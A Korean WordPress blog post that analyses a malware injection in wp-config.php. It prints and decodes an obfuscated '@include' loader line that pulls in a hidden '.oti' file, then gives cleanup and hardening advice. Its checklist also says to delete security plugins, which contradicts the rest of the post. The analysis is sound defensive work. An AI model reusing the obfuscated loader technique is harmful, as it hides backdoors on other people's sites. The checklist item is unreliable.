워드프레스 wp-config.php 파일에 이상한 코드가 있는 경우

워드프레스 정보를 제공하는 블로그 Avada 2024. 1. 17. 08:47 • 댓글:

워드프레스 사이트에서 아마존 광고가 표시되는 문제로 문의를 받았습니다. 사이트를 살펴보니 wp-config.php 파일에 이상한 코드가 포함되어 있었습니다.

워드프레스 wp-config.php 파일에 이상한 코드가 있는 경우

이렇게 이상한 코드가 포함되어 있는 경우 멀웨어에 감염되었을 수 있습니다.

wp-config.php에 이상한 코드가 삽입되어 있는 경우 확인할 사항과 문제 해결 방법에 대하여 간단히 살펴보겠습니다.

워드프레스 wp-config.php 파일에 이상한 코드가 있는 경우

워드프레스 사이트가 악성코드에 감염될 경우 [**.htaccess**] 파일이나 [**wp-config.php**] 파일에 이상한 코드가 삽입되어 있을 수 있습니다.

/*d8f2a*/

@include /*x4c*/("/home/.../p\x75blic_html/wp\x2dincl\x75des/blocks/separator/.2a2fb101.oti");

/*d8f2a*/

위와 같은 코드가 [**wp-config.php**] 파일에 추가되어 있어서 이 코드가 어떤 의미를 갖는지 살펴보았습니다.

우선 /*...*/은 주석입니다. [**/*d8f2a*/**]와 [**/*x4c*/**]는 코드를 잘 이해하지 못하도록 하기 위해 추가한 주석 같습니다. 주석 제거 도구에서 주석을 삭제해 보면 다음과 같이 쉽게 이해할 수 있는 코드가 됩니다.

@include ("/home/.../p\x75blic_html/wp\x2dincl\x75des/blocks/separator/.2a2fb101.oti");

위의 라인에서 [**\x2di**]와 [**\x75**]는 난독화된 문자열로 흔히 악성 코드에서 실제 경로나 코드의 목적을 감추기 위해 사용되는 방식이라고 합니다.

  • \x2d - 하이픈 (-)
  • \x75 - 문자 u

그러므로 위의 코드는 최종적으로 다음과 같습니다.

@include ("/home/.../public_html/wp-includes/blocks/separator/.2a2fb101.oti");

[**/wp-includes/blocks/separator/**] 폴더 아래의 [**.2a2fb101.oti**] 파일은 워드프레스 설치 파일에 포함된 파일이 아닙니다.

워드프레스 사이트 멀웨어 파일

[**oti**] 확장자는 일반적으로 사용되는 파일 확장자가 아닙니다. 이런 이상한 파일이 워드프레스 환경에서 발견되면 이상 징후일 수 있으므로 사이트가 멀웨어에 감염되지 않았는지 체크해야 합니다.

실제로 [**wp-config.php**] 폴더의 이상한 코드를 삭제하고 [**.2a2fb101.oti**] 파일만 제거해도 아마존 광고가 표시되는 증상은 사라졌습니다.

하지만 이러한 조치만으로는 멀웨어가 제거되지는 않습니다. 사이트 전체를 체크하여 이상한 파일을 삭제한 후에 Wordfence로 악성코드를 스캔하여 완전히 악성코드를 제거해야 합니다.

참고로 악성코드에 감염된 상태에서 Wordfence를 설치하여 악성코드를 제거해도 완전히 제거되지는 않습니다. 먼저는 악성코드를 거의 완전히 제거한 후에 진행해야 합니다.

또한, 이렇게 완전히 악성코드를 제거하더라도 보안 취약점을 해결하지 않으면 언제든지 재감염될 수 있습니다.

사이트를 살펴보니 테마 폴더와 플러그인 폴더에도 이상한 테마와 폴더가 설치되어 있었습니다.

악성 코드 감염이 의심되는 워드프레스 테마 관련 썸네일

위의 그림은 테마 폴더를 보여주는데요. 이상한 이름의 테마 디렉터리가 눈에 띕니다. 이렇게 의미가 없는 이름의 폴더나 파일은 위험 신호입니다.

멀웨어를 복구하려는 경우, 가장 쉬운 방법은 백업본을 사용하여 복원한 후에 모든 테마와 플러그인을 업데이트하고 추가적인 보안 조치하는 것입니다.

백업본이 없는 경우 수동으로 악성코드를 제거하고 보안 조치를 해주어야 하는데, 눈에 띄는 몇 개 파일을 제거하여 문제가 해결되지는 않습니다. 

워드프레스, 테마, 플러그인을 최신 버전으로 업데이트하지 않으면 보안에 취약해질 수 있습니다. 

다음과 같은 관행이 워드프레스 블로그를 안전하게 운영하는 데 도움이 됩니다.

  1. 워드프레스, 테마, 플러그인을 최신 버전으로 업데이트
  2. 오랫동안 업데이트가 안 되는 플러그인이나 테마는 삭제
  3. 정기적으로 백업하여 안전한 곳에 보관하기
  4. 보안 플러그인 삭제
  5. admin나 사이트 이름(예: example.com에서 example)을 관리자 아이디로 사용하지 않기
  6. 비밀번호를 복잡하게 설정하고, 타인과 공유하지 않는다.

문제가 된 사이트의 경우 PHP 버전이 7.3으로 낮아서 일부 플러그인을 업데이트하지 못하는 상태였습니다. 또한, 테마도 오래전에 단종되어 오랫동안 업데이트가 안 되고 있었습니다.

PHP 버전 호환성 문제로 업데이트가 불가능한 Contact Form 7 플러그인

이러한 문제로 사이트가 해킹당하거나 멀웨어에 감염되는 경우가 많습니다.

PHP 버전은 최소 7.4가 되어야 하고, 가능한 PHP 8.0 이상을 사용하는 것이 좋습니다. 현재 최신 버전은 8.3이고 카페24, 클라우드웨이즈 등 많은 호스팅 업체에서 PHP 8.2까지 지원합니다. 카페24를 이용하는 경우 PHP 8.2로 업데이트하시기 바랍니다. PHP 버전이 높으면 보안면에서도 안전하고 성능면에서도 더 좋습니다.

 

카페24 매니지드 워드프레스 PHP 8.2로 업그레이드하기

카페24에서는 이제 매니지드 워드프레스 호스팅 상품과 10G 광아우토반 FullSSD+ 호스팅 상품에서 PHP 8.2를 지원합니다. 비슷한 방법으로 매니지드 워드프레스와 10G 광아우토반 호스팅에서 PHP 버전

avada.tistory.com

카페24를 이용하는 경우 매니지드 워드프레스 호스팅을 이용하면 SSL 인증서가 무료로 제공되므로 수동으로 SSL 인증서를 설치하거나 유료 SSL 인증서를 구입할 필요가 없습니다.

멀웨어를 비롯한 워드프레스 관련 문제로 어려움을 겪는 경우 여기에서 서비스(유료)를 의뢰하실 수 있습니다.

참고

https://avada.tistory.com/3252

 

클라우드웨이즈: XMLRPC 활성화 방법

외부에서 자동 포스팅하는 경우 보통 XML-RPC를 활성화해야 합니다. 하지만 XML-RPC는 디도스 공격의 통로가 될 수 있으므로 일부 보안 플러그인에서 XML-RPC를 비활성화하는 옵션을 제공하기도 합니

avada.tistory.com

https://avada.tistory.com/3242

 

워드프레스: 해킹 의심 사이트 복원 작업

워드프레스로 제작된 뉴스 사이트에 엄청나게 많은 관리자가 생성되어 이상한 기사들이 발행되고 있는 문제로 클라께서 연락을 해오셨습니다. 보통 해킹 당하거나 악성코드에 감염되면 한 두

avada.tistory.com

 

워드프레스 네이버 카페